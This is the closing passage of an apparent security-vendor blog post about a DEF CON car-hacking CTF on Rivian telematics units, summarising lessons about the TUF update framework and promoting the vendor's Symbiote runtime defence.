In addition to the CTF we brought to the DEF CON Car Hacking Village, we also set up a demonstration of our Symbiote host-based defense technology running on Rivian TCMs. These CTF challenges connect to that demo because the firmware rollbacks caused by exploiting the vulnerable CTF challenge application would (in a TCM protected by Symbiote) trigger alerts, and/or be blocked, depending on the customer’s desired configuration.

To reiterate, we hope that CTF participants enjoyed our challenges, and took away a few lessons:

  • Even if TUF is used correctly, logic bugs outside of TUF can be exploited to violate its guarantees

  • Even correct, reference implementations of TUF are vulnerable if the cryptographic keys used are weak

  • Secure software updates are tricky

  • There is no silver bullet in security; complementing secure software updates with on-device runtime attestation like Symbiote creates a layered, defense in depth strategy to ensure that attacks are thwarted
]]>
https://redballoonsecurity.com/dc32-car-hacking-ctf/feed/ 0 10068